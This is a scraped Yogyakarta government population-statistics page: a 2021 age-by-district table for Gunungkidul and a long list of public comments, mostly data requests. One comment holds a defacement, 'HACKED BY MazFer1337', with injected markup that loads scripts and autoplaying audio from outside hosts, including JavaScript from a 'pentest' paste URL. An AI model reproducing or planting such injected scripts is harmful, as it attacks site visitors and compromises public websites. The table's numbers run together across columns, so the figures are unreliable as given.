Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaWONOSARINGLIPARPLAYENPATUKPALIYANPANGGANGTEPUSSEMANUKARANGMOJOPONJONGRONGKOPSEMINNGAWENGEDANGSARISAPTOSARIGIRISUBOTANJUNGSARIPURWOSARITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun957879 1.836354324 678695605 1.300421349 770387350 737288293 581316328 644635570 1.205549550 1.099559493 1.052284261 545588570 1.158430389 819477439 916444394 838214223 437250258 508219205 4248.067 7.480 15.547
2 tahun554563 1.117219193 412427387 814239207 446220199 419177161 338194165 359382350 732341305 646292321 613165147 312353349 702242241 483256225 481274251 525164123 287148131 279126112 2384.773 4.430 9.203
3 tahun572515 1.087229178 407396363 759225213 438208211 419181169 350186174 360346339 685327342 669326306 632181159 340365345 710252222 474268253 521274222 496131130 261160149 309130115 2454.757 4.405 9.162
4 tahun495489 984205187 392346362 708224227 451168189 357154157 311161163 324381367 748304297 601330312 642149141 290343297 640230207 437284246 530243219 462124111 235168139 307138124 2624.447 4.234 8.681
5 tahun614546 1.160216197 413420399 819237208 445212220 432164162 326197205 402381347 728374355 729362308 670178131 309376355 731261232 493282263 545277253 530128118 246183181 364145123 2685.007 4.603 9.610
6 tahun601567 1.168220208 428385384 769248227 475210204 414185181 366189159 348354354 708421371 792346331 677163141 304353373 726237210 447274269 543243222 465135145 280186156 342134126 2604.884 4.628 9.512
7 tahun585551 1.136210209 419387408 795238265 503197217 414202184 386192187 379409353 762402352 754374308 682148151 299403323 726227217 444296245 541309265 574124129 253157138 295124137 2614.984 4.639 9.623
8 tahun616584 1.200198230 428433411 844257225 482228208 436197179 376205171 376381338 719404400 804359296 655173164 337395346 741236208 444248285 533284234 518133110 243182160 342127117 2445.056 4.666 9.722
9 tahun703656 1.359266224 490426405 831241228 469213220 433215151 366225221 446433374 807442385 827380366 746179154 333409412 821236229 465274285 559270252 522137112 249185198 383151159 3105.385 5.031 10.416
10 tahun667588 1.255253253 506409432 841268252 520260188 448200178 378212219 431392392 784408386 794387372 759172157 329374364 738227230 457316290 606286231 517124127 251166185 351147132 2795.268 4.976 10.244
11 tahun664631 1.295258241 499469437 906235210 445224217 441206208 414212200 412489413 902454399 853384395 779179158 337446357 803256259 515314280 594308271 579142160 302208186 394161161 3225.609 5.183 10.792
12 tahun759693 1.452243251 494444421 865272258 530253204 457219187 406209204 413402383 785450372 822406359 765183172 355404375 779288270 558322278 600277264 541138156 294184190 374128125 2535.581 5.162 10.743
13 tahun704659 1.363245229 474473441 914282244 526244209 453210193 403212182 394435383 818476397 873374392 766173174 347423385 808237244 481320296 616269260 529150121 271203155 358155155 3105.585 5.119 10.704
14 tahun690616 1.306252214 466462401 863251248 499224205 429178208 386214201 415394411 805415355 770404353 757167153 320393385 778262232 494278290 568262235 497146152 298170155 325151134 2855.313 4.948 10.261
15 tahun616586 1.202241221 462428412 840240201 441205184 389234181 415236168 404364372 736389389 778397370 767180151 331368375 743231242 473257263 520230210 440129134 263179149 328149128 2775.073 4.736 9.809
16 tahun586595 1.181221239 460425376 801222202 424211200 411195180 375189196 385400364 764427368 795351333 684154153 307400357 757228199 427290237 527263257 520142126 268173160 333112144 2564.989 4.686 9.675
17 tahun601645 1.246260205 465435406 841263239 502210199 409196212 408181215 396415330 745364377 741382340 722171153 324435380 815232249 481279275 554271271 542139111 250182150 332145137 2825.161 4.894 10.055
18 tahun682619 1.301240212 452446416 862289241 530230250 480210199 409211186 397368390 758376360 736390366 756203171 374429394 823246240 486299296 595275250 525177165 342170154 324170167 3375.411 5.076 10.487
19 tahun696643 1.339216230 446443403 846247256 503235265 500208190 398201212 413390384 774445380 825377375 752188158 346406393 799257238 495310269 579275272 547167144 311159178 337136162 2985.356 5.152 10.508
20 tahun684647 1.331233233 466471425 896222248 470233251 484223211 434236212 448418396 814395392 787438409 847220206 426435414 849285248 533331319 650300293 593180167 347206170 376165166 3315.675 5.407 11.082
21 tahun717669 1.386286255 541507488 995282259 541282285 567221199 420247237 484449414 863429400 829448414 862228214 442548452 1.000320275 595340355 695363334 697205203 408200167 367182178 3606.254 5.798 12.052
22 tahun599558 1.157224225 449408364 772224232 456258195 453190207 397199181 380392368 760372343 715401379 780159148 307401418 819287236 523257267 524292271 563164157 321170187 357155144 2995.152 4.880 10.032
23 tahun647641 1.288280217 497454427 881268222 490252218 470206190 396230232 462389413 802368358 726378355 733182160 342429391 820281285 566310281 591273273 546171146 317189168 357160137 2975.467 5.114 10.581
24 tahun636626 1.262291223 514451405 856246205 451249236 485201215 416276243 519411410 821407383 790409355 764203177 380478412 890294264 558289285 574285305 590188177 365210183 393173155 3285.697 5.259 10.956
25 tahun661592 1.253267257 524440417 857224249 473231202 433207190 397259265 524425399 824389377 766418379 797205188 393469395 864296277 573322276 598308291 599186172 358208190 398132163 2955.647 5.279 10.926
26 tahun668659 1.327255239 494446414 860211219 430274233 507232217 449250229 479440420 860428388 816460408 868192220 412401386 787266278 544305284 589312296 608178179 357193203 396174138 3125.685 5.410 11.095
27 tahun653632 1.285228228 456426442 868226227 453244230 474221187 408257268 525442401 843371374 745416345 761210196 406426377 803313277 590295295 590359312 671160162 322188195 383152143 2955.587 5.291 10.878
28 tahun615634 1.249246190 436458403 861209219 428272241 513196213 409259239 498417399 816380354 734406335 741202212 414431375 806272238 510311258 569314292 606201170 371198196 394152138 2905.539 5.106 10.645
29 tahun700617 1.317219199 418433403 836247257 504262246 508197184 381266246 512446399 845402366 768402365 767220218 438405371 776286228 514277289 566283302 585230160 390196207 403129148 2775.600 5.205 10.805
30 tahun601644 1.245208199 407394386 780227253 480256234 490205189 394207225 432388421 809368379 747359368 727205199 404388394 782243241 484300242 542303300 603165153 318203205 408135132 2675.155 5.164 10.319
31 tahun557539 1.096213190 403422392 814248238 486249240 489190194 384218190 408364374 738361379 740346342 688200182 382365356 721231205 436329256 585301258 559134137 271164176 340143133 2765.035 4.781 9.816
32 tahun535539 1.074165175 340381370 751208222 430204200 404166186 352218193 411363324 687346327 673321289 610190164 354384331 715213229 442256235 491249253 502140139 279162184 34612898 2264.629 4.458 9.087
33 tahun523506 1.029189188 377363406 769233226 459223177 400208164 372202208 410341360 701325336 661282302 584179149 328337373 710238191 429233256 489271233 504142146 288150166 316140121 2614.579 4.508 9.087
34 tahun526560 1.086167211 378393401 794189192 381199176 375192178 370199161 360378346 724306345 651319313 632155171 326350310 660204222 426237217 454238249 487117162 279161166 327121146 2674.451 4.526 8.977
35 tahun594584 1.178215187 402496388 884205221 426222219 441193219 412262229 491411381 792379370 749355325 680179174 353341344 685228212 440263233 496288256 544139145 284194160 354132135 2675.096 4.782 9.878
36 tahun652656 1.308234208 442481438 919237233 470259242 501197181 378270261 531490456 946395364 759374386 760214194 408370350 720215222 437310271 581300234 534149153 302225202 427149131 2805.521 5.182 10.703
37 tahun631667 1.298207214 421456401 857200208 408227212 439211181 392222206 428391402 793410401 811395369 764203149 352383368 751220220 440261240 501255242 497170147 317227219 446136116 2525.205 4.962 10.167
38 tahun769763 1.532281257 538467472 939298298 596299245 544232216 448288267 555462519 981474366 840403349 752221206 427429397 826268246 514286294 580309277 586161164 325234226 460161128 2896.042 5.690 11.732
39 tahun712772 1.484260260 520494468 962249275 524243233 476206210 416247265 512437462 899420424 844423380 803194194 388400380 780226204 430285279 564286286 572153149 302265236 501137127 2645.637 5.604 11.241
40 tahun681703 1.384232230 462452459 911289284 573244203 447194211 405245238 483429451 880420386 806374373 747177216 393384379 763260227 487277275 552290254 544145164 309211190 401140156 2965.444 5.399 10.843
41 tahun694666 1.360258235 493430470 900239292 531246251 497217210 427266275 541473426 899435386 821376362 738220197 417376352 728258216 474320313 633311277 588191173 364277211 488133148 2815.720 5.460 11.180
42 tahun717693 1.410260223 483449455 904242250 492189198 387192147 339270242 512483453 936393392 785382416 798164189 353408365 773247223 470279255 534255255 510160176 336215214 429131124 2555.436 5.270 10.706
43 tahun667661 1.328262241 503417431 848267252 519219210 429192169 361268243 511469400 869417363 780413369 782188178 366366347 713222203 425293258 551234268 502179158 337195219 414130130 2605.398 5.100 10.498
44 tahun688669 1.357237227 464415380 795273244 517193215 408196155 351269242 511417425 842363376 739354349 703195170 365365365 730196213 409250245 495224248 472168186 354217213 430127101 2285.147 5.023 10.170
45 tahun645712 1.357227221 448458425 883244244 488217220 437200185 385280292 572465512 977408405 813406421 827181196 377388402 790216207 423284263 547263301 564197188 385222250 472145120 2655.446 5.564 11.010
46 tahun641688 1.329216224 440427430 857264279 543196208 404195161 356286295 581479463 942409384 793381370 751192193 385412400 812200242 442255266 521314299 613171174 345181229 410123148 2715.342 5.453 10.795
47 tahun609605 1.214219217 436440390 830299270 569224199 423165213 378232291 523446459 905348365 713387413 800202226 428362391 753190219 409248281 529268283 551178206 384238226 464141143 2845.196 5.397 10.593
48 tahun697681 1.378199252 451452458 910250283 533220252 472174208 382303306 609438455 893387410 797413460 873221259 480409473 882231250 481299259 558268293 561226277 503252264 516132145 2775.571 5.985 11.556
49 tahun637689 1.326211249 460408436 844243256 499228242 470159178 337319319 638448470 918369361 730382435 817230254 484385458 843236260 496261258 519288319 607197205 402234237 471143155 2985.378 5.781 11.159
50 tahun627666 1.293246260 506406394 800252248 500211250 461213207 420346330 676448404 852364437 801413432 845255269 524414415 829237270 507258262 520265287 552206234 440248248 496149156 3055.558 5.769 11.327
51 tahun671732 1.403238276 514438493 931272277 549240261 501225209 434372371 743480516 996443461 904435476 911263256 519441462 903259316 575308353 661296330 626251270 521266236 502135176 3116.033 6.471 12.504
52 tahun674711 1.385263274 537419486 905266262 528230252 482202238 440311335 646471509 980411453 864432484 916272277 549410439 849262292 554274246 520313283 596247237 484284268 552119114 2335.860 6.160 12.020
53 tahun634648 1.282242265 507413434 847239270 509212244 456185207 392282313 595403407 810381420 801402394 796222234 456370435 805237255 492219248 467227246 473242192 434214216 430128139 2675.252 5.567 10.819
54 tahun557563 1.120230234 464384405 789235243 478182202 384161197 358215270 485359418 777345420 765350411 761226272 498337440 777229215 444215231 446202245 447175195 370181183 364143144 2874.726 5.288 10.014
55 tahun586675 1.261227257 484418505 923248260 508210252 462181239 420263312 575427467 894379426 805404413 817240232 472424474 898236263 499262273 535277305 582189215 404178250 428133161 2945.282 5.979 11.261
56 tahun512585 1.097207222 429387385 772197222 419170179 349157236 393233267 500338364 702328367 695322367 689197195 392352410 762212209 421192245 437209267 476165204 369148167 315124140 2644.450 5.031 9.481
57 tahun521582 1.103230203 433349412 761217233 450183221 404167217 384274289 563407461 868343397 740328370 698216265 481378439 817226241 467182241 423259207 466190229 419204223 427129120 2494.803 5.350 10.153
58 tahun576587 1.163182221 403367367 734197222 419203239 442185186 371263317 580366411 777311374 685370343 713221215 436379421 800217233 450203250 453222251 473187185 372194205 399111162 2734.754 5.189 9.943
59 tahun470542 1.012165190 355317380 697198192 390181166 347198189 387206244 450319344 663332355 687278317 595197226 423333356 689183193 376155173 328188173 361168169 337158172 330123111 2344.169 4.492 8.661
60 tahun526552 1.078191206 397321374 695186222 408187244 431223233 456275347 622389497 886318396 714325396 721204257 461364375 739218259 477261302 563233290 523180220 400195233 428138186 3244.734 5.589 10.323
61 tahun519534 1.053205206 411375442 817187204 391193202 395217226 443245285 530373403 776319342 661348386 734229236 465358332 690224229 453231243 474235259 494197169 366150221 371167155 3224.772 5.074 9.846
62 tahun467546 1.013200193 393320386 706201207 408166207 373190242 432239258 497339395 734314396 710301368 669205243 448355359 714190170 360187210 397187275 462172189 361162210 372109134 2434.304 4.988 9.292
63 tahun412456 868160187 347308376 684159185 344133186 319187226 413255256 511314326 640293344 637232314 546186220 406296338 634152184 336184195 379155244 399144190 334146164 31091140 2313.807 4.531 8.338
64 tahun382415 797154194 348283381 664157180 337141184 325174205 379196209 405297309 606274325 599297301 598179190 369274346 620161205 366177176 353166235 401153171 324158193 351120171 2913.743 4.390 8.133
65 tahun362482 844173205 378322396 718171172 343180240 420184208 392221246 467332330 662261320 581280331 611203228 431292347 639175223 398207225 432211294 505165195 360179172 351139157 2964.057 4.771 8.828
66 tahun364357 721153131 284312319 631160134 294140150 290186189 375173192 365266259 525245261 506248306 554161163 324266281 547164174 338165172 337247236 483158152 310142159 301129149 2783.679 3.784 7.463
67 tahun342360 702156149 305257284 541128137 265150164 314151166 317159170 329272257 529273231 504250256 506169154 323248217 465174156 330140145 285196187 383145130 275124162 28611093 2033.444 3.418 6.862
68 tahun333294 627133140 273256257 513128122 250127145 272130144 274170155 325254237 491233236 469238249 487146149 295223224 447131152 283155132 287173146 319107133 240136119 255110108 2183.183 3.142 6.325
69 tahun363291 654151136 287232220 452128113 241150137 287153141 294220172 392288286 574217235 452275254 529178161 339251203 454142128 270167105 272217145 362142139 281150142 292100110 2103.524 3.118 6.642
70 tahun304351 655151154 305189280 469132139 271140174 314162183 345181245 426252344 596211276 487272332 604173174 347241305 546140168 308194180 374235251 486154144 298179179 35889110 1993.399 3.989 7.388
71 tahun227230 45796118 214149227 376104116 220117127 244109131 240137158 295185226 411182212 394210257 467105102 207172214 38686106 192124166 290148182 33012195 216118132 2506386 1492.453 2.885 5.338
72 tahun263274 537113171 284197251 448104122 226109139 24895167 262150184 334204241 445159245 404221254 475140161 301172189 361107126 233104141 245113144 257103115 218117121 2387190 1612.542 3.135 5.677
73 tahun185249 43490110 200144181 3257585 16084111 19576120 196101156 257149203 352146175 321177194 37190103 193150156 3068596 18194115 20973130 2038490 17492123 2154581 1261.940 2.478 4.418
74 tahun162218 38071103 174123185 3086185 14672105 1777291 163117154 271132184 316103175 278132191 32399118 217135167 3026798 16568112 18062110 1726592 1578098 1785382 1351.674 2.368 4.042
75 tahun160264 42492129 221122220 34281116 197102131 233107115 222134179 313176272 448169259 428197281 47899147 246177216 39389126 21599176 275103161 26482113 19593142 2356493 1572.146 3.140 5.286
76 tahun132152 2846470 134111122 2336370 1335870 1285975 134100112 212126142 268118148 266159168 3276981 150128132 2607884 16271106 17780103 1834373 1165587 1425673 1291.570 1.868 3.438
77 tahun152229 3815779 136126172 2985192 1436693 15977109 18687154 241135190 325144212 356131153 2846993 162104159 26369109 17862104 1665895 15367109 17663105 1686463 1271.582 2.320 3.902
78 tahun210229 43992113 205174220 39487114 20186110 1967298 170134139 273172174 346175188 363179210 38977115 192137188 3258386 16911498 2129594 1898395 1788587 1726157 1182.116 2.415 4.531
79 tahun103135 2386076 13696133 2293962 1015585 1404766 11372127 199110116 226120156 276128131 2597180 151119116 2356063 1236679 1454482 1264567 1125990 1494156 971.335 1.720 3.055
80 ke atas8071.232 2.039528795 1.3236701.176 1.846374692 1.066406731 1.137323621 944596942 1.5387851.239 2.0248501.280 2.1308731.231 2.104456678 1.1348481.160 2.008418629 1.047531839 1.370470772 1.242370554 924371707 1.078246463 7099.922 15.741 25.663
Jumlah44.32145.03889.35916.85516.98633.84130.52331.37661.89917.25917.65534.91416.33716.85333.19014.66515.22229.88718.21918.94437.16330.12030.72360.84328.20328.91657.11928.00828.40156.40914.93815.14230.08028.83628.97657.81217.56817.67435.24219.87619.93239.80819.89720.21640.11312.68913.05725.74614.52715.04529.57210.40910.89021.299 383.250 391.046 774.296
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih